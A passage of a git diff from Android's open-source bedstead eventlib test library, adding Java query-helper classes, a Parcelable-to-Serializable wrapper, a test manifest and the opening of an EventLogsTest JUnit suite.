+import java.io.Serializable;
+
+/** Query for a single key in a {@link PersistableBundle}. */
+public interface PersistableBundleKeyQuery<E extends EventLogsQuery>  extends Serializable {
+    /** Require that the key exists. */
+    E exists();
+    /** Require that the key does not exist. */
+    E doesNotExist();
+
+    @CheckResult
+    StringQuery<E> stringValue();
+
+    @CheckResult
+    PersistableBundleQuery<E> persistableBundleValue();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelper.java
new file mode 100644
index 0000000..aca4e94
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelper.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link PersistableBundleKeyQuery}. */
+public final class PersistableBundleKeyQueryHelper<E extends EventLogsQuery>
+        implements PersistableBundleKeyQuery<E>, Serializable {
+
+    private final E mQuery;
+    private Boolean mExpectsToExist = null;
+    private StringQueryHelper<E> mStringQuery = null;
+    private PersistableBundleQueryHelper<E> mPersistableBundleQuery;
+
+    public PersistableBundleKeyQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E exists() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call exists() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = true;
+        return mQuery;
+    }
+
+    @Override
+    public E doesNotExist() {
+        if (mExpectsToExist != null) {
+            throw new IllegalStateException(
+                    "Cannot call doesNotExist() after calling exists() or doesNotExist()");
+        }
+        mExpectsToExist = false;
+        return mQuery;
+    }
+
+    @Override
+    public StringQuery<E> stringValue() {
+        if (mStringQuery == null) {
+            checkUntyped();
+            mStringQuery = new StringQueryHelper<>(mQuery);
+        }
+        return mStringQuery;
+    }
+
+    @Override
+    public PersistableBundleQuery<E> persistableBundleValue() {
+        if (mPersistableBundleQuery == null) {
+            checkUntyped();
+            mPersistableBundleQuery = new PersistableBundleQueryHelper<>(mQuery);
+        }
+        return mPersistableBundleQuery;
+    }
+
+    private void checkUntyped() {
+        if (mStringQuery != null || mPersistableBundleQuery != null) {
+            throw new IllegalStateException("Each key can only be typed once");
+        }
+    }
+
+    public boolean matches(PersistableBundle value, String key) {
+        if (mExpectsToExist != null && value.containsKey(key) != mExpectsToExist) {
+            return false;
+        }
+        if (mStringQuery != null && !mStringQuery.matches(value.getString(key))) {
+            return false;
+        }
+        if (mPersistableBundleQuery != null
+                && !mPersistableBundleQuery.matches(value.getPersistableBundle(key))) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQuery.java
new file mode 100644
index 0000000..4df56a2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQuery.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link PersistableBundle}. */
+public interface PersistableBundleQuery<E extends EventLogsQuery> extends Serializable {
+
+    /** Query a given key on the {@link PersistableBundle}. */
+    @CheckResult
+    PersistableBundleKeyQuery<E> key(String key);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelper.java
new file mode 100644
index 0000000..407e2ca
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelper.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.PersistableBundle;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+
+/** Implementation of {@link PersistableBundleQuery}. */
+public final class PersistableBundleQueryHelper<E extends EventLogsQuery>
+        implements PersistableBundleQuery<E>, Serializable {
+
+    private final E mQuery;
+    private final Map<String, PersistableBundleKeyQueryHelper<E>> mKeyQueryHelpers =
+            new HashMap<>();
+
+    public PersistableBundleQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public PersistableBundleKeyQuery<E> key(String key) {
+        if (!mKeyQueryHelpers.containsKey(key)) {
+            mKeyQueryHelpers.put(key, new PersistableBundleKeyQueryHelper<>(mQuery));
+        }
+        return mKeyQueryHelpers.get(key);
+    }
+
+    public boolean matches(PersistableBundle value) {
+        for (Map.Entry<String, PersistableBundleKeyQueryHelper<E>> keyQueries :
+                mKeyQueryHelpers.entrySet()) {
+            if (!keyQueries.getValue().matches(value, keyQueries.getKey())) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    public boolean matches(SerializableParcelWrapper<PersistableBundle> serializableBundle) {
+        if ((serializableBundle == null || serializableBundle.get() == null)) {
+            if (mKeyQueryHelpers.isEmpty()) {
+                return true;
+            }
+            return false;
+        }
+
+        return matches(serializableBundle.get());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQuery.java
new file mode 100644
index 0000000..c57bc11
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQuery.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link Serializable}. */
+public interface SerializableQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require that the {@link Serializable} is equal to {@code serializable}. */
+    E isEqualTo(Serializable serializable);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQueryHelper.java
new file mode 100644
index 0000000..9d24c49
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/SerializableQueryHelper.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link SerializableQuery}. */
+public final class SerializableQueryHelper<E extends EventLogsQuery>
+        implements SerializableQuery<E>, Serializable {
+
+    private final E mQuery;
+    private Serializable mEqualsValue = null;
+
+    public SerializableQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(Serializable serializable) {
+        this.mEqualsValue = serializable;
+        return mQuery;
+    }
+
+    public boolean matches(Serializable value) {
+        if (mEqualsValue != null && !mEqualsValue.equals(value)) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQuery.java
new file mode 100644
index 0000000..3721c7c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQuery.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link String}. */
+public interface StringQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require the {@link String} is equal to {@code string}. */
+    E isEqualTo(String string);
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQueryHelper.java
new file mode 100644
index 0000000..b84ff1a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/StringQueryHelper.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Implementation of {@link StringQuery}. */
+public final class StringQueryHelper<E extends EventLogsQuery>
+        implements StringQuery<E>, Serializable{
+
+    private final E mQuery;
+    private String mEqualsValue = null;
+
+    public StringQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(String string) {
+        this.mEqualsValue = string;
+        return mQuery;
+    }
+
+    public boolean matches(String value) {
+        if (mEqualsValue != null && !mEqualsValue.equals(value)) {
+            return false;
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/UserHandleQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/UserHandleQuery.java
new file mode 100644
index 0000000..c0d5d28
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/UserHandleQuery.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.UserHandle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.EventLogsQuery;
+
+import java.io.Serializable;
+
+/** Query for a {@link UserHandle}. */
+public interface UserHandleQuery<E extends EventLogsQuery> extends Serializable {
+    /** Require the {@link UserHandle} is equal to {@code userHandle}. */
+    E isEqualTo(UserHandle userHandle);
+
+    /** Query the user handle's ID. */
+    @CheckResult
+    IntegerQuery<E> id();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/UserHandleQueryHelper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/UserHandleQueryHelper.java
new file mode 100644
index 0000000..3b5254c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/UserHandleQueryHelper.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import android.os.UserHandle;
+
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+import java.io.Serializable;
+
+/** Implementation of {@link UserHandleQuery}. */
+public final class UserHandleQueryHelper<E extends EventLogsQuery>
+        implements UserHandleQuery<E>, Serializable {
+
+    private final E mQuery;
+    private UserHandle mEqualsValue = null;
+    private IntegerQueryHelper<E> mIdQuery = null;
+
+    public UserHandleQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(UserHandle userHandle) {
+        mEqualsValue = userHandle;
+        return mQuery;
+    }
+
+    @Override
+    public IntegerQuery<E> id() {
+        if (mIdQuery == null) {
+            mIdQuery = new IntegerQueryHelper<>(mQuery);
+        }
+        return mIdQuery;
+    }
+
+    /**
+     * {@code true} if all filters are met by the {@link UserHandle}.
+     */
+    public boolean matches(UserHandle value) {
+        if (mEqualsValue != null && !mEqualsValue.equals(value)) {
+            return false;
+        }
+
+        if (mIdQuery != null && !mIdQuery.matches(value.getIdentifier())) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /**
+     * {@code true} if all filters are met by the {@link UserHandle} contained in
+     * {@code serializableBundle}.
+     */
+    public boolean matches(SerializableParcelWrapper<UserHandle> serializableBundle) {
+        if ((serializableBundle == null || serializableBundle.get() == null)) {
+            return mEqualsValue == null && mIdQuery == null;
+        }
+
+        return matches(serializableBundle.get());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
new file mode 100644
index 0000000..e0fa4b2
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/** A wrapper around a {@link Parcelable} which makes it {@link Serializable}. */
+public class SerializableParcelWrapper<E extends Parcelable> implements Serializable {
+
+    private static final long serialVersionUID = 0;
+
+    private E mParcelable;
+
+    public SerializableParcelWrapper(E parcelable)  {
+        mParcelable = parcelable;
+    }
+
+    public E get() {
+        return mParcelable;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof SerializableParcelWrapper)) {
+            return false;
+        }
+        SerializableParcelWrapper<E> other = (SerializableParcelWrapper<E>) obj;
+
+        if (mParcelable == null) {
+            return other.mParcelable == null;
+        }
+
+        return mParcelable.equals(other.mParcelable);
+    }
+
+    @Override
+    public int hashCode() {
+        return mParcelable.hashCode();
+    }
+
+    // Serializable readObject
+    private void readObject(ObjectInputStream inputStream) throws ClassNotFoundException,
+            IOException {
+        int size = inputStream.readInt();
+        byte[] bytes = new byte[size];
+        inputStream.read(bytes);
+        Parcel p = Parcel.obtain();
+        p.unmarshall(bytes, 0, size);
+        p.setDataPosition(0);
+        mParcelable = p.readParcelable(Parcelable.class.getClassLoader());
+        p.recycle();
+    }
+
+    // Serializable writeObject
+    private void writeObject(ObjectOutputStream outputStream) throws IOException {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(mParcelable, /* flags= */ 0);
+        byte[] bytes = p.marshall();
+        p.recycle();
+
+        outputStream.writeInt(bytes.length);
+        outputStream.write(bytes);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..68b4c3d
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib.test">
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <application
+        android:label="Event Library Tests"
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory"
+        android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.eventlib.premade.EventLibActivity"
+                  android:exported="true" />
+        <activity android:name="com.android.generatedEventLibActivity" android:exported="true" />
+        <receiver android:name="com.android.eventlib.premade.EventLibBroadcastReceiver"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.eventlib.DEFAULT_BROADCAST_RECEIVER"/>
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name="com.android.generatedEventLibBroadcastReceiver"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.eventlib.GENERATED_BROADCAST_RECEIVER"/>
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name="com.android.eventlib.premade.EventLibDeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN"
+                  android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.eventlib.test"
+                     android:label="Event Library Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
new file mode 100644
index 0000000..e2d2d70
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -0,0 +1,1222 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.testng.annotations.BeforeClass;
+
+import java.time.Duration;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(JUnit4.class)
+public class EventLogsTest {
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
+    private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
+    private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
+
+    private static final String TEST_TAG1 = "TEST_TAG1";
+    private static final String TEST_TAG2 = "TEST_TAG2";
+    private static final String DATA_1 = "DATA_1";
+    private static final String DATA_2 = "DATA_2";
+
+    private static final Duration VERY_SHORT_POLL_WAIT = Duration.ofMillis(20);
+
+    private boolean hasScheduledEvents = false;
+    private boolean hasScheduledEventsOnTestApp = false;
+    private final ScheduledExecutorService mScheduledExecutorService =
+            Executors.newSingleThreadScheduledExecutor();
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final UserReference sProfile = sTestApis.users().createUser()
+            .parent(sTestApis.users().instrumented())
+            .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+            .createAndStart();
+
+    @BeforeClass
+    public static void setupClass() {
+        sTestApis.packages().find(TEST_APP_PACKAGE_NAME).install(sProfile);
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sProfile.remove();
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @After
+    public void teardown() {
+        if (hasScheduledEvents) {
+            // Clear the queue
+            CustomEvent.queryPackage(sContext.getPackageName()).poll();
+        }
+        if (hasScheduledEventsOnTestApp) {
+            // Clear the queue
+            CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).poll();
+        }
+    }
+
+    @Test
+    public void resetLogs_get_doesNotReturnLogs() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void resetLogs_differentPackage_get_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void resetLogs_next_doesNotReturnLogs() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void resetLogs_differentPackage_next_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void resetLogs_poll_doesNotReturnLogs() {
+        CustomEvent.logger(sContext)
+                .setTag(TEST_TAG1)
+                .log();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void resetLogs_differentPackage_poll_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void get_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void get_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
+    public void next_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void next_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void poll_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(TEST_TAG1);
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void get_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(sContext).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TEST_TAG1);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(sContext).setTag(TEST_TAG1).setData(DATA_2).log();
+
